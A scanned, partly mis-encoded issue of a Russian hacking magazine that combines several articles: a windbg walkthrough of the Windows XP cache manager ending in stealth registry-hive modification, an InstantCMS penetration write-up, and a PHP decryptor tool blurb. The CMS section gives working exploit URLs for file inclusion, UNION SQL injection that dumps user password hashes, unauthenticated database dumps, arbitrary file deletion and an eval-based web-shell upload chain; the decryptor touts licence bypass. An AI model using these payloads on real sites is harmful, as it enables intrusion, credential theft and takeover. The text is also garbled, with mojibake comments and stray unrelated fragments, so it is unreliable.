Диспетчер кэша может найти ее для каждого открытого FileObject, так 
как последний содержит указатель на структуру SECTION_OBJECT_
POINTERS (FileObject  SectionObjectPointer). Открытая карта описы-
вается нехилой структурой. Приведу только важные поля:

typedef struct _SHARED_CACHE_MAP {                                                                                              

...

/*0x008*/     union _LARGE_INTEGER FileSize; 

   //ðàçìåð êýøèðóåìîãî ôàéëà                           

...

/*0x018*/     union _LARGE_INTEGER SectionSize;                         

/*0x020*/     union _LARGE_INTEGER ValidDataLength;                     

...

/*0x030*/     struct _VACB* InitialVacbs[4]; 

   // ìàññèâ èíäåêñîâ VACB                                                            

/*0x040*/     struct _VACB** Vacbs; 

   // óêàçûâàåò íà ïðåäûäóùåå ïîëå, åñëè file_size <= 1MB                                                                     

/*0x044*/     struct _FILE_OBJECT* FileObject; 

   //ïåðâûé ñâÿçàííûé ñ îòêðûòîé êàðòîé îáúåêò                                                           

...

/*0x078*/     VOID*        Section;    

   //ðàçäåë äëÿ ïðîåöèðîâàíèÿ ôàéëà                                                                  

...                                                            

/*0x090*/     struct _CACHE_MANAGER_CALLBACKS* Callbacks;                                                

...

/*0x0D8*/     struct _PRIVATE_CACHE_MAP PrivateCacheMap;

    //îäíà çàêðûòàÿ êàðòà           

} SHARED_CACHE_MAP, *PSHARED_CACHE_MAP;  

Чтобы диспетчер кэша мог быстро находить, какие части данного 
файла уже спроецированы (для них имеются представления в слотах), 
открытая карта указывает на массив индексов VACB. Первый элемент 
массива указывает на первые 256 Кб файла, второй — на следующие 
256 и т.д. В случае если файл имеет размер не больше 1 Mb, то есть 
может уместиться в четыре слота, в качестве массива индексов высту-

МЕНЯЕМ ЗНАЧЕНИЕ DEFAULT BEEP
ИЩЕМ И НАХОДИМ ИЩЕМ И НАХОДИМ 
ДАННЫЕ В СТРУКТУРЕ
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пает массив InitialVacbs из открытой карты. 
В противном случае массив выделяется в 
резидентном пуле. В любом случае указатель 
на него запоминается в поле Vacbs. Все 
закрытые карты связаны в список с головой 
PrivateList (&SharedCacheMap  PrivateLis, & 
PrivateCacheMap  PrivateLinks). Кроме того, 
все открытые карты также связаны в списки, 
с помощью SharedCacheMapLinks. 
За инициализацию открытой карты (если 
она еще не была создана), создание раз-
дела и создание закрытой карты для данного 
FileObject отвечает функция, которую вызы-
вают FSD — CcInitializeCacheMap.

VOID CcInitializeCacheMap (

    __in PFILE_OBJECT FileObject,

    __in PCC_FILE_SIZES FileSizes,

    __in BOOLEAN PinAccess,

    __in PCACHE_MANAGER_CALLBACKS Callbacks,

    __in PVOID LazyWriteContext

    ) 

На нее возложены следующие обязанности.
1. Создает и инициализирует открытую карту кэша, если она не суще-
ствует (поле FileObject  SectionObjectPointer  SharedCacheMap 
пустое). SharedCacheMap  FileObject инициализируется на первый 
FileObject, для которого создается открытая карта.
2. С помощью MmCreateSection создает раздел, через который потом 
будут проецироваться части файла на слоты кэша. 
3. Создает массив индексов VACB с помощью CcCreateVacbArray. 
Последняя инициализирует поле Vacbs и SectionSize.
Если файловой системе нужно прочитать через кэш, она вызывает 
CcCopyRead.

BOOLEAN CcCopyRead (

    __in PFILE_OBJECT FileObject, 

// ôàéëîâûé îáúåêò, êîòîðûé áûë èíèöèàëèçèðîâàí ñ 

ïîìîùüþ CcInitializeCacheMap

    __in PLARGE_INTEGER FileOffset, //ñìåùåíèå ÷èòàå-

ìûõ â ôàéëå äàííûõ

    __in ULONG Length, // äëèíà ÷èòàåìûõ äàííûõ

    __in BOOLEAN Wait, // åñëè true, òîãäà âûçûâàþ-

ùèé ìîæåò îæèäàòü ïîäêà÷êó, â ïðîòèâíîì ñëó÷àå äàííûå 

óæå äîëæíû áûòü â êýøå, ïðè èõ îòñóòñòâèè âîçâðàùàåò-

ñÿ false

    __out_bcount(Length) PVOID Buffer, // áóôåð äëÿ 

êîïèðîâàíèÿ

    __out PIO_STATUS_BLOCK IoStatus 

    )

Внутренне диспетчер кэша проецирует части файла с помощью 
CcGetVirtualAddress, которая возвращает стартовый адрес проекции. 
Функция обслуживает (проецирует) один VACB и, соответственно, 
один слот.

Ê ÏÐÀÊÒÈÊÅ
Ладно, хватит грузиться теорией, перейдем к практике. Следующая 
программа windbg исследует кэш:

.expr /s masm; 

.for(r eax=0; @eax < poi(CcNumberVacbs); r eax=@

eax+1) 

{ 

r ecx=poi(CcVacbs) + @eax * 0x18; 

r ebx=poi(@ecx + 4); 

.printf "Vacb #%d    0x%p -> 0x%p\n", @eax, @ecx, 

poi(@ecx); 

.if( @ebx != 0 ) 

{ 

r ebx = poi( @ebx + 0x44 ); 

.if( @ebx != 0 ) 

{ 

r ebx = @ebx + 0x30; 

.if( poi(@ebx+0x4) != 0 ) 

{ 

.printf "\tFile: 0x%p\n\tOffset: 0x%p\n%msu\n\n",  @
ebx-0x30, poi(@ecx+8)&ffff0000, @ebx 

} .else {

}} .else { 

}} .else { 

}}

Выборочный вывод команды имеет вид:

Vacb #282    0x8194aa70 -> 0xd90c0000

 File: 0x818ed338

 Offset: 0x00ac0000

\$Mft

Соответственно, вначале указывается адрес структуры VACB, потом 
адрес слота в кэше, ниже — адрес файлового объекта из открытой 
карты и смещение, которое попадает в этот слот. Получается, что по 
адресу 0xd90c0000 скэширован файл $Mft со смещения 0x00ac0000.
Для тех крутых парней, кто интересуется, как на низком уровне дис-
петчер памяти управляет страницами кэша, исследуем PTE. Для 
исследований лучше вывести процессор из режима PAE, создав 
новую строчку в boot.ini и вставив параметр /NOPAE, убрав заодно 
параметры, включающие DEP.
Слоты кэша представляют собой проекции файла, то есть спроеци-
рованные разделы, поэтому если PTE-страница активного слота не 
валидна, она будет указывать на прототипный PTE (proto PTE).

!pte 0xd90c0000

VA d90c0000

PDE at   C0300D90   PTE at C0364300

contains 01D55963   contains 0123EC80

pfn 1d55       -G-DA--KWEV    not valid

Proto: FFFFFFFFE148FB00

Этот pte ссылается на прототипный по адресу E148FB00. Вычислим 
адрес proto-PTE руками (по известной формуле, PrototypePteAddress = 
MmPagedPoolStart + PrototypeIndex << 2).

0x123EC80 = 10010001111101 1 0 0 1000000 0

                                   |

                  ýòî ïðîòîòèïíûé <- |

Index=100100011111011000000=123EC0 << 2=48FB00;

ДАННЫЕ УСПЕШНО ИЗМЕНЕНЫ!ИЗМЕНЕНЫ!



MmPagedPoolStart = e1000000;

48FB00+ e1000000 = e148FB00.

Нашли адрес proto-PTE, сдампим его, то есть получим содержимое.

dd e148FB00 l1

e148fb00  87944cd6

Proto-PTE ðàâåí

0x87944cd6 = 1 00001111001010001001 1 00110 1011 0

|->PTE óêàçûâàåò íà ïîäðàçäåë

|->Îïèñûâàåò ìàïïèðóåìûé ôàéë

Вычислим адрес подраздела (по форм. SubsectionAddress = 
MmSubsectionBase + PrototypeIndex << 3, обычно MmSubsectionBase 
== MmNonPagedPoolStart ).

Index = 000011110010100010011011 = F289B << 3 = 7944D8; 

MmNonPagedPoolStart = 81181000; 7944D8 + 81181000 = 

819154D8 — àäðåñ ïîäðàçäåëà.

dt _subsection 819154D8

nt!_SUBSECTION

   +0x000 ControlArea : 0x819154a8 _CONTROL_AREA

   +0x004 u : __unnamed

   +0x008 StartingSector : 0

   +0x00c NumberOfFullSectors : 0x1000

   +0x010 SubsectionBase : 0xe148d000 _MMPTE

   +0x014 UnusedPtes : 0

   +0x018 PtesInSubsection : 0x1000

   +0x01c NextSubsection : 0x81913660 _SUBSECTION

!ca 0x819154a8 

ControlArea  @ 819154a8

Segment • e13d66c8 • Flink • 00000000 • Blink   00000000

Section Ref • 1 • Pfn Ref • 2b6 • Mapped Views • 3c

User Ref • 0 • WaitForDel • 0 • Flush Count • 0File 

Object • 818ed338 • ModWriteCount • 0 • System Views • 3c

Flags (8088) NoModifiedWriting File WasPurged 

   File: \$Mft

Сегмент имеет вид:

dt _SEGMENT e13d66c8

nt!_SEGMENT

   +0x000 ControlArea : 0x819154a8 _CONTROL_AREA

   +0x004 TotalNumberOfPtes : 0x1b00

   +0x008 NonExtendedPtes : 0x1000

   +0x00c WritableUserReferences : 0

   +0x010 SizeOfSegment : 0x1b00000

   +0x018 SegmentPteTemplate : _MMPTE

   +0x01c NumberOfCommittedPages : 0

   +0x020 ExtendInfo : (null) 

   +0x024 SystemImageBase : (null) 

   +0x028 BasedAddress : (null) 

   +0x02c u1 : __unnamed

   +0x030 u2 : __unnamed

   +0x034 PrototypePte : 0x61564d43 _MMPTE

   +0x038 ThePtes : [1] _MMPTE

Получим такие же значения по открытой карте кэша:

dt _vacb SharedCacheMap 0x8194aa70 

nt!_VACB

   +0x004 SharedCacheMap : 0x818c7b08 _SHARED_CACHE_MAP

Выборочный вывод структуры открытой карты с интересующими полями:

dt _SHARED_CACHE_MAP 0x818c7b08 

nt!_SHARED_CACHE_MAP

 +0x008 FileSize : _LARGE_INTEGER 0x1ae8000

 +0x010 BcbList : _LIST_ENTRY [0x81913a60-0x819138b8]

 +0x018 SectionSize : _LARGE_INTEGER 0x1b00000

 +0x044 FileObject : 0x818ed338 _FILE_OBJECT // ñîâïàäà-

åò ñ àäðåñîì, óêàçàííûì â control_area (âûâîä !ca).

+0x078 Section : 0xe13d6698 // ñîîòâåòñòâóþùèé ðàçäåë 

dt _SECTION_OBJECT Segment 0xe13d6698

nt!_SECTION_OBJECT

+0x014 Segment : 0xe13d66c8 _SEGMENT_OBJECT   //ñåãìåíò 

äëÿ ïðîåöèðîâàíèÿ ôàéëà êàê áèíàðíîãî

PTE кэша начинаются с адреса, который указывается в 
MmSystemCachePteBase (обычно совпадает с началом таблицы стра-
ниц, 0xC0000000).
Модификацию кэша на практике можно использовать для разных 
задач. Рассмотрим, например, запись в параметр раздела реестра 
без применения API-функций, через кэш. В отличие от w2k, в которой 
диспетчер конфигурации хранил данные кустов в подкачиваемом 
пуле, в wxp он проецирует файлы кустов реестра, используя объекты-
разделы.
Попробуем модифицировать данные в разделе HKCU. Файл раздела 
хранится в \Document and Setting\<account name>\NTUSER>DAT. Если 
запустить приведенную выше программку windbg, ты сможешь уви-
деть, что этих файлов смаппировано несколько, например, для встро-
енной учетной записи системы — NetworkService:

Vacb #280    0x819baa40 -> 0xd0180000

 File: 0x81765610

 Offset: 0x00000000

\Documents and Settings\root\NTUSER.DAT

Root — ìîÿ ó÷åòíàÿ çàïèñü

Vacb #289    0x819bab18 -> 0xcf6c0000

 File: 0x81666bf8

 Offset: 0x00000000

\Documents and Settings\NetworkService\NTUSER.DAT

Этот VACB описывает куст для учетной записи NetworkService.  
Восполь зуемся первым выводом для записи root. Она пока-
зала, что адрес данных в кэше 0xd0180000, при этом про-
екция идет с начала файла, смещение ноль. Также вос-
пользуемся командой !fileobj для вывода более подробной 
информации.

kd> !fileobj 0x81765610

\Documents and Settings\root\NTUSER.DAT

Device Object: 0x81927bb8   \Driver\Ftdisk

Vpb: 0x8192a818

Access: Read Write -> ïðèñóòñòâóåò òèï äîñòóïà Write, 

çíà÷èò, ñòðàíèöû ðàçäåëà áóäóò ñáðîøåíû â êóñò íà äèñêå

Flags:   0x140040

   Cache Supported

   Handle Created

   Random Access

FsContext: 0xe1632d90 FsContext2: 0xe3efdc18

Private Cache Map: 0x816750e0

CurrentByteOffset: 0

Cache Data:

 Section Object Pointers: 81812d84 -> ïðèíàäëåæèò FSD

 Shared Cache Map: 81675008         

 File Offset: 0 in VACB number 0
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 Vacb: 819baa40 -> íàø VACB

 Your data is at: d0180000 -> è àäðåñ äàííûõ â êýøå

Структура куста — это тема для отдельного доклада, поэтому 
быстренько пробегаемся по памяти и ищем какие-нибудь данные.
Нашли для параметра по умолчанию раздела HKEY_CURRENT_USER\
AppEvents\EventLabels\.Default его значение — Default Beep. 
Изменим его, например, так:

eb d018142e 70/eb d0181430 70.

Нужно подождать, пока содержимое кэша сбросится в файл. Это 
может произойти сразу, а может через некоторое время, в любом 
случае после перезагрузки данные в файле на диске будут изме-
нены. В этом примере изменения сразу отобразились в regedit 
(после F5).
Модифицирование данных через windbg хорошая практика, но в 
боевых условиях нужно писать драйвер, который это будет делать 
более-менее автоматически. Рассмотрим один из вариантов. 
При открытии кустов для мапинга, их дескрипторы сохраняют-
ся в системной таблице дескрипторов, доступ к которой можно 
получить, например, в контексте процесса System. Мы можем 
перебрать там все дескрипторы (смотри мануалы Ms-remа на 
wasm) и найти указатели на соответствующие file objectы, кото-
рые нам нужны (сравнивая полный путь к кусту с тем, что указано 
в FileName файлового объекта). Зная адрес файлового объ-
екта, мы выходим на структуру _SECTION_OBJECT_POINTERS, 
а затем выходим на открытую карту. То есть, FileObject  
SectionObjectPointer  SharedCacheMap. В SHARED_CACHE_MAP 
анализируем, с какого смещения проецируется файл, используя 
указатель на массив VACB — _SHARED_CACHE_MAP  Vacbs. Если 
по требуемому смещению, например, нулевому, что будет соот-
ветствовать _SHARED_CACHE_MAP  Vacbs[0], будет указатель 
на VACB, то из него мы и получаем указатель на слот с данными. 
Кстати, чтобы найти количество элементов в массиве, нужно раз-
делить значение, указанное в SHARED_CACHE_MAP.FileSize, на 
256 Кб. Напомню, запись из драйвера на страницы кэша нужно 
осуществлять с предельной осторожностью и только если страни-
ца присутствует в памяти. В более сложном варианте нужно ана-
лизировать поля PTE и proto-PTE. 
Завершающий experience по этому поводу. Я нашел file object для 
своего \Documents and Settings\root\NTUSER.DAT. Далее:

kd> dt _file_object 0x8169b3c0 SectionObjectPointer

ntdll!_FILE_OBJECT

   +0x014 SectionObjectPointer : 0x81826b6c _SECTION_

OBJECT_POINTERS

kd> dt _SECTION_OBJECT_POINTERS 0x81826b6c SharedCacheMap

ntdll!_SECTION_OBJECT_POINTERS

   +0x004 SharedCacheMap : 0x816efd18 -> îòêðûòàÿ êàðòà 

óíèêàëüíà äëÿ äèñêîâîãî ôàéëà

kd> dt _SHARED_CACHE_MAP 0x816efd18 Vacbs

nt!_SHARED_CACHE_MAP

   +0x040 Vacbs : 0x81868e78 -> 0x819baa88 _VACB -> ìàñ-

ñèâ VACB

Кроме того:

kd> dt _SHARED_CACHE_MAP 816efd18 FileSize

nt!_SHARED_CACHE_MAP

   +0x008 FileSize : _LARGE_INTEGER 0x140000

0x140000 / 0x40000 = 5 ýëåìåíòîâ â ìàññèâå óêàçàòåëåé 

VACB.

Теперь смело дампим его:

kd> dd 0x81868e78  l8

81868e78  819baa88 819baba8 819bab60 819babd8

81868e88  819baa70 00000000 00000000 00000000

Видим, что в кэше присутствуют все части файла 5 * 256 * 1024 = 
0x140000 байт.
Если нам нужны данные со смещения ноль, то выполняем команду:

kd> dt _VACB 819baa88 BaseAddress

nt!_VACB

0x000 BaseAddress : 0xcfb40000

Это, собственно, и есть данные с начала файла ntuser.dat.

ÒÅÏÅÐÜ ÂÑÅ! Для модифицирования нужных данных необходимо 
иметь парсер реестра и знать, с какого смещения в кусте начинают-
ся данные. А дальше — по вышеприведенной схеме. Аналогичным 
образом модифицируются и данные в MFT, но об этом я расскажу в 
другой раз, после того, как скушаешь и переваришь информацию :). 
На этой ноте кланяюсь и еще раз желаю удачи в отладке! z

УСПЕХ!УСПЕХ!
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ÑÎÖÈÀËÜÍÛÅ ÑÅÒÈ ÂÍÅÇÀÏÍÎ ÑÒÀËÈ Î×ÅÍÜ ÏÎÏÓËßÐÍÛ. 
ÑÅÉ×ÀÑ ÑÎÖÈÀËÜÍÀß ÑÅÒÜ — ÝÒÎ È ÑÏÎÑÎÁ ÏÎÎÁÙÀÒÜÑß, 
È ÍÀÉÒÈ ÄÐÓÇÅÉ, À ÄËß ÊÎÃÎ-ÒÎ — ÇÀÐÀÁÎÒÀÒÜ ÄÅÍÜÃÈ. 
È ÍÅÒ ÍÈ×ÅÃÎ ÓÄÈÂÈÒÅËÜÍÎÃÎ, ×ÒÎ ÊÀÆÄÛÉ ÇÀÕÎÒÅË ÑÎÇÄÀÒÜ 
ÑÂÎÞ ÑÎÖÑÅÒÜ. ÊÀÊ ÐÀÇ ÄËß ÝÒÎÃÎ ÁÛË ÍÀÏÈÑÀÍ ÏÐÎÑÒÎÉ, 
ÓÄÎÁÍÛÉ (È, ÊÀÊ ÏÎÇÆÅ ÂÛßÑÍÈËÎÑÜ, ÈÇÎÁÈËÓÞÙÈÉ 
ÓßÇÂÈÌÎÑÒßÌÈ) ÄÂÈÆÎÊ. ÈÌß ÅÌÓ INSTANTCMS.

XÀÊÅÐ  11  /131/  09

ÑÎÖÈÀËÜÍÛÉ 
ÂÇËÎÌ PEN-TESTING 
ÏÎÏÓËßÐÍÎÃÎ ÄÂÈÆÊÀ ÑÎÖÑÅÒÈ

Â ÏÐÅÄÄÂÅÐÈÈ ÀÒÀÊÈ Бродя по просторам рунета, я наткнулся 
на один сайт. Его контент очень напоминал CMS, и я решил узнать, 
что же он из себя представляет. Недолго думая, я попытался найти 
админку, вбив в адресную строку:

www.site.ru/admin/

После этого мне оставалось только лицезреть поле ввода логина и 
пароля, а также надпись «InstantCMS — Авторизация». Навестив гугл 
с запросом InstantCMS, первым результатом я получил ссылку на 
официальный сайт двига — www.instantcms.ru. Последней версией 
на данный момент оказалась 1.5.2. Через минуту исходники лежали 
на моем жестком диске.

GRAY-BOX
Подняв на своем компьютере apache и mysql, я установил цмс 
и принялся за анализ исходного кода. Первое, что бросилось в 
глаза — это папка wysiwyg, в которой находился до боли знакомый 
FCKeditor. На мой взгляд, FCKeditor — лучший помощник при нали-
чии локального инклуда. По адресу

http://localhost/wysiwyg/editor/filemanager/

connectors/test.html

находится аплодер файлов.  К сожалению, файлы с расширением 
.php, .phtml, .cgi и т.п. залить не получится, однако при наличии LFI 
это уже неважно, ведь файл с любым расширением выполнится как 
php-код. LFI+FCKeditor — и шелл у нас в кармане. Но все же это 
трудно назвать уязвимостью InstantCMS, потому что разработкой 
фцкэдитора занимаются совсем другие люди. Поэтому, так как все 
работает через mod_rewrite, я решил заглянуть в .htaccess и нашел 
там вот что:

#COMPONENT "RSS FEEDS"

RewriteRule ^rss/([a-z]*)/(.*)/feed.rss$ 

  /components/rssfeed/frontend.php?&target=$1&item_id=$2

В надежде найти SQL-Injection я направился к файлу frontend.php и 
увидел там интересный код:

if (isset($_REQUEST['do'])){ 

 $do = $_REQUEST['do'];    

} else { $do = 'rss'; } 

if (isset($_REQUEST['target'])){ 

 $target = $_REQUEST['target'];    

} else { die(); }    

if (isset($_REQUEST['item_id'])) { 



$item_id = $_REQUEST['item_id']; 

} else { die(); }  

...

if ($do=='rss'){ 

 $rss = '';    

 if (file_exists($_SERVER['DOCUMENT_ROOT'].

    '/components/'.$target.'/prss.php')){

      $inCore->includeFile('components/'.

         $target.'/prss.php'); 

Да это же чистой воды Local File Inclusion в переменной $target! Если в 
конфигурации PHP директива magic_quotes_gpc = off , мы можем про-
инклудить любой файл, указав нул-байтом конец строки таким образом:

http://localhost/components/rssfeed/frontend.php?item_id=

1&target=../../../../../../../../../../../../etc/hosts%00

Следует заметить, что способ обхода magic_quote_gpc подстановкой 
>4000 слешей в данном случае работать не будет, так как путь до 
файла объявлен с помощью переменной $_SERVER['DOCUMENT_
ROOT'], а, следовательно, вызов функции getcwd() не выполняется.
У нас есть LFI, а залить файл с php-кодом внутри уже не проблема, 
— вспомни про FCKeditor. В случае если администратор отключил 

загрузку файлов в едиторе, ты можешь зарегистрировать нового 
пользователя в системе и залить аватар со злым содержимым :).

ÓÊÎË ÂÑËÅÏÓÞ È ÍÅ ÒÎËÜÊÎ
Инклуд это хорошо, но и на этом я не остановился, и присмотрелся 
внимательнее к коду файла frontend.php:

if (file_exists($_SERVER['DOCUMENT_ROOT'].

 '/components/'.$target.'/prss.php'))

{ 

 $inCore->includeFile('components/'.$target.'/prss.php'); 

 eval('rss_'.$target.'($item_id, $cfg, $rssdata);'); 

В папке components находились различные компоненты системы, но 
я искал такие, где находился бы файл prss.php, и нашел такой

function rss_blog($item_id, 

  $cfg, &$rssdata){ 

  ...

  $cat = dbGetFields('cms_blogs', 

    'id='.$item_id, 'id, title');  

Поиск функции dbGetFields привел меня к файлу /core/cms.php:

FCKEDITOR НА САЙТЕ 
INSTANTCMS.RU

В АДМИНКЕ

Попав в админку, шелл можно залить несколькими способами, но самый эффективный 
— через баннеры. Переходим в Главная  Компоненты  Баннеры , жмем «Новый 
баннер» и загружаем php-шелл, проверки на расширение нет. Шелл будет распола-
гаться по адресу example.com/images/banners/shell.php.

Одна из самых заметных 
новинок с позиции пользо-
вателя (даже самого уша-
стого) — это, конечно же, 
обновленный таскбар. Это не 
просто симпатичная панель-
ка с большими кнопками, а 
удобный инструмент, объеди-
няющий в себе механизм для 
быстрого запуска программ, 
управления окнами и доступа 

к последним документам. 
Это стало возможным за 
счет так называемых Jump-
листов. По своей сути 
такой выпадающий список 
аналогичен меню «Пуск», 
но только для конкретного 
приложения — в нем ото-
бражается список послед-
них документов, ключевые 
опции приложения. За при-

мером далеко ходить не 
нужно — кликни в таскбаре 
правой кнопкой мыши по 
иконке Internet Explorer 8.0. 
С помощью Jump-листов ты 
сможешь быстро перейти 
по линку из истории брау-
зера. Удобно, правда? К 
сожалению, полноценная 
поддержка нового таскбара 
пока не реализована во всех 

приложениях (кстати, статья 
по этому поводу уже была 
у нас в Кодинге). Но недо-
статок исправляется энту-
зиастами: для популярных 
программ выходят специ-
альные хаки. Например, для 
плеера Winamp давно раз-
работан специальный плагин 
win7shell (code.google.com/p/
win7shell). 

ФИШКИ WINDOWS 7: НОВЫЙ ТАСКБАР И JUMP-ЛИСТЫ



ВЗЛОМ

XÀÊÅÐ  11  /131/  09 064

function dbGetFields($table, $where, 

  $fields, $order='id ASC')

{  

  $inDB = cmsDatabase::getInstance(); 

  return $inDB->get_fields($table, 

    $where, $fields, $order); 

} 

По правде говоря, все эти скачки по файлам мне изрядно поднадо-
ели, но финиш был близок. Файл /core/classes/db.class.php показал 
мне содержимое функции get_fields:

public function get_fields($table, 

  $where, 

  $fields, 

  $order='id ASC')

{ 

  $sql = "SELECT $fields FROM $table WHERE $where 

ORDER BY $order LIMIT 1"; 

  $result = $this->query($sql); 

  if ($this->num_rows($result))

  { 

    $data = $this->fetch_assoc($result); 

    return $data; 

  } else { 

    return false; 

  } 

}  

На всем пути моего путешествия я не встретил ни одной проверки 
значения переменной item_id, за исключением файла .htaccess. 
Следовательно, у нас в кармане sql-injection, но, к сожалению сле-
пая. Пример использования:

http://localhost/components/rssfeed/frontend.php? 

item_id=1+and+1=if(substring(version(),1,1)=5)&targe

t=blog

Как быстро раскрутить слепую инъекцию — читай в статье Qwazar’a 
в предыдущем номере z. Инъекция это хорошо, а еще лучше — 
когда видишь результат запроса; через 10 минут анализа кода был 
найден файл core/ajax/tagsearch.php, а в нем — следующее содер-
жимое:

$q = iconv('UTF-8//IGNORE', 'WINDOWS-1251//IGNORE',

   $_GET['q']);     

$q = strtolower($q);     

if (!$q) 

  return; 

define("VALID_CMS", 1);     

include($_SERVER['DOCUMENT_ROOT'].

  '/includes/config.inc.php'); 

include($_SERVER['DOCUMENT_ROOT'].

  '/includes/database.inc.php'); 

$sql = "SELECT tag FROM cms_tags WHERE LOWER(tag) 

LIKE '{$q}%' GROUP BY tag"; 

$rs  = mysql_query($sql); 

... 

И к моему удивлению — также никакой проверки переменной 
$_GET[‘q’], плюс ко всему результат запроса выводился на страницу. 
Запрос

http://localhost/core/ajax/tagsearch.php?q=notexist

tag}'+union+select+concat(login,':',password)+from+c

ms_users+limit+1,1--+

показал мне логин и md5(пароль) первого пользователя в базе, а 
убрав limit, я получил всех пользователей. Данная SQl-Injection 
будет работать только при отключенной директиве magic_quotes_
gpc.

ÁÎËÜØÅ ×ÅÌ ÄÀÌÏÅÐ
Не рассчитывая на что-то большее, я залогинился в админке с 
целью найти способ заливки веб-шелла, и первое, на что обратил 
внимание, был дампер базы данных. Я решил найти его исходник в 
папке admin. Но он оказался совсем в другом месте, а именно — в 
core/ajax/dumper.php. Самое интересное, что при прямом обраще-
нии к нему не было никакой авторизации! А это значит, любой поль-
зователь без админских привилегий может сделать дамп базы. 

if ($inCore->request('file', 'str')) 

{ 

  $shortfile = $inCore->request('file', 'str'); 

} else { 

  $shortfile = date('d-m-Y').'.sql'; 

}

$opt = $inCore->request('opt', 'str', 'export');

ПАНЕЛЬ УПРАВЛЕНИЯ САЙТОМ

УСПЕШНО ВЫПОЛНЕННЫЙ ДАМП БАЗЫ



$dir = PATH.'/backups';

$file = $dir.'/'.$shortfile;

...

if ($opt=='export')

{

   include($_SERVER['DOCUMENT_ROOT'].

      '/includes/dbexport.inc.php');

   if (is_writable($dir))

   { 

      $dumper = new MySQLDump($inConf->db_base,

         $file, false, false);

      $dumper->doDump();

      if(!$inDB->errno())

      {

         $fileurl = '/backups/'.$shortfile; 

         echo '<span style="color:green">Ýêñïîðò 

áàçû äàííûõ çàâåðøåí.</span> <a href="/

backups/'.$shortfile.'" target="_blank">Ñêà÷àòü 

ôàéë</a> | <a href="#" onclick="deleteDump

(\''.$shortfile.'\')">Óäàëèòü ôàéë</a><div 

class="hinttext">×òîáû ñêà÷àòü ôàéë, ùåëêíèòå ïðàâîé 

êíîïêîé ìûøè ïî ññûëêå è âûáåðèòå "Ñîõðàíèòü îáúåêò 

êàê..."</div>';

      } else {

         echo '<span style="color:red">Îøèáêà ýêñ-

ïîðòà áàçû</span>';

      }   

   } else {

      echo '<span style="color:red">Ïàïêà "/backups" 

íå äîñòóïíà äëÿ çàïèñè!</span>'; 

   } 

}

При обращении к файлу с параметром opt, равным export, и file, 
равным dump.sql, в папке /backup/ создастся файл dump.sql. 
Пример:

http://localhost/core/ajax/dumper.

php?opt=export&file=dump.sql

Пробежав глазами по коду, я нашел удаление произвольных фай-
лов:

if ($opt=='delete'){

   if(@unlink($file)){

      echo '<span style="color:green">Ôàéë óäàëåí.</

span>';

   } else {

      echo '<span style="color:red">Îøèáêà óäàëåíèÿ 

ôàéëà.</span>';

   }

   }

Польза от этой уязвимости незначительная, но все же есть. Пример 
использования:

http://localhost/core/ajax/dumper.php? 

opt=delete&file=../index.php

Ну и, наконец, самое интересное, — мы можем делать бэкап, причем 
можем задать любое имя файла. Что же нам мешает создать файл с рас-
ширением .php, а перед этим записать в базу php-код? А мешают филь-
тры. XSS-фильтров разработчики поставили очень много, но я нашел 
место, где символы «<>» не обрезаются. Для этого регистрируемся на 
сайте и идем в свой профиль, а именно — в раздел «Мой Блог», созда-
ем там персональный блог, переходим в него и постим новую запись:

<?php 

eval($_GET[ev]);

die;

?> 

В итоге, в БД запишется наш php-код и останется только создать 
дамп с расширеним .php:

http://www.example.com/core/ajax/dumper.php? 

opt=export&file=shell.php

Теперь наш шелл создан и находится по адресу:

http://www.example.com/backup/shell.php?ev=phpinfo();

OUTRO
Написать свою CMS довольно сложно, но еще сложнее уследить за 
безопасностью. А так как личные блоги и соцсети плодятся, как грибы 
после дождя, найти потенциально уязвимый сайт становится проще. 
Учись на чужих ошибках, и помни, что все, что ты только что прочитал, 
написано исключительно с целью ознакомления, и ни автор, ни редак-
ция не несут ответственности за твои действия.z
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ПРОГРАММЫ ДЛЯ ХАКЕРОВ

ПРОГРАММА: MULTI PHP 
DECRYPTOR
ОС: *NIX/WIN
АВТОР: EUGEN
Очень часто мы сталкиваемся с зашифрованным 
сорцами какого-либо php-скрипта. Причем 
исходники нам просто жизненно необходимо 
увидеть в первозданном виде (например, узнать 
доступы к базе данных). Как тут поступить?
Если шифрование выполнялось с помощью 
Zend, то тут все понятно: идем в гугл, набираем 
что-то вроде «dezender download» и наслаж-
даемся расшифрованным кодом. А если крипт 
выполнялся при помощи обфускации и запуты-
вания кода? Можно, конечно, вручную, строка за 
строкой сидеть и приводить сие непотребство 
в удобоваримый вид, потеряв при этом целый 
рабочий день, но мы поступим иначе.
Специально для тебя мы выкладываем «Мульти 
php дешифровщик» от Eugen.
Итак, скрипт умеет расшифровывать следующие 
алгоритмы:

• GZIP+BASE64

• DEFLATE+BASE64 — Encoderov.net 

(r57, c99 è ò.ï.)

• BASE64

• Eugen — «10 êëþ÷åé» + ïîääåðæêà ñòà-

ðîãî àëãîðèòìà ñ 1-ì êëþ÷îì

• KALLISTO (áåç ðàñøèôðîâêè îáôóñêà-

öèè â ïîñëåäíèõ âåðñèÿõ)

• CNS — CNCrypto (cnstats è ò.ï.)

• Php LockIT (ñ îáõîäîì ëèöåíçèè è 

ñðîêà äåéñòâèÿ ñêðèïòà)

• SourceCop

Более того, успешно расшифровываются даже 
вложенные криптовки. Если закриптована 
часть скрипта, будет расшифрована только она. 
Для примера рассмотрим способ дешифровки 
алгоритма CNCrypto.
1. Особенности самого алгоритма:
• Обфускация;
• Криптование кода дешифровки;
• Хранение кода в комментарии в этом же файле;
• При раскриптовке скрипт читает сам себя.
2. Закриптованный код выглядит так: 

/*CNS<êàêèå-òî 6 öèôð>êîä*/

В этом коде /*CNS, 6 цифр и */ следует отбросить; 
нам нужен только base64 код между ними. Даль-
ше следует строка — ключ для расшифровки. 
Генерируется он так:

$fuck = array(); 

for($i = 97; $i < 123; $i++) $fuck[] = 

chr($i); 

for($i = 65; $i < 91; $i++) $fuck[] = 

chr($i); 

$key = implode("",$fuck);  

Читаем второй ключ из закриптованного кода. 
Это будут первые 52 символа, остальные же сим-
волы после них — и есть зашифрованный код.
Расшифровать его можно так: 

$decoded = base64_decode(strtr($enco

ded,$key,$to));

Как видно, сначала раскодируется base64, а 
потом символы 1-го ключа заменяются симво-
лами второго.
Для запуска процесса дешифровки положи 
скрипт и, собственно, расшифровываемый 
файл в одну директорию.  Далее в скрипте найди 
строки:

<? 

// Çàêðèïòîâàííûé ôàéë 
$file = "1.php";

...

?>

И измени значение переменной $file на свое. 
Расшифрованный код запишется прямо в твой 
файл.
Если у тебя есть идеи по расшифровке алгорит-
мов, смело можешь адресовать их автору тулзы в 
топике forum.eugen.su/showthread.php?t=47.
 

